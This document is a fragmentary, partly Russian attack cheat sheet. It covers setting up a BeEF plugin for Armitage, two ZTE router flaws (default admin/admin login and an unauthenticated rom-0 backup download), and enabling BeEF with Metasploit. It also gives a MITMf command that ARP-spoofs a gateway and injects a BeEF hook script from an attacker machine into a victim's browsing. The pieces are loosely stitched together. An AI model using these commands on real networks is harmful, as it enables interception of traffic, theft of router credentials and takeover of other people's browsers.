Beef + Armitage [plugin]

git clone https://github.com/benyG/cortana-scripts

копируем папку beef_strike из cortana-scripts  в /root/
копируем библиотеки из архива (зеркало) в папку /beef_strike/lib
после чего запускаем Armitage.

Подгружаем скрипт beef_strike.cna (если папка beef_strike находится не в каталоге /root/, редактируем файл beef_strike.cna, изменяем пути импорта)

Multiple Vulnerabilities [from router to pc reverse shell]

Default Password Being Used (CVE-2014-4018)

In ZTE routers the username is a constant which is “admin” and the password by default is “admin”
ROM-0 Backup File Disclosure (CVE-2014-4019)

There is a rom-0 backup file contains sensitive information such as the passwords. There is a disclosure in which anyone can download that file without any authentication by a simple GET request.

http://192.168.1.1/rom-0

Beef install/config

root@kali:/# apt-get update
root@kali:/# apt-get install beef-xss

• #nano /usr/share/beef-xss/config.yaml

.....

metasploit:
enable: true

.....

• #nano /usr/share/beef-xss/extensions/metasploit/config.yaml

MITMF - inject plugin - Beef Hook

Start Beef:

root@n0name:/usr/share/beef-xss# ./beef

#git clonehttps://github.com/byt3bl33d3r/MITMf.git

./kali_setup.sh

#./mitmf.py -i eth2 --arp --spoof --gateway 192.168.168.1 --target 192.168.168.109 --inject --js-url http://192.168.168.111:3000/hook.js

....and go to http://192.168.222.128:3000/ui/panel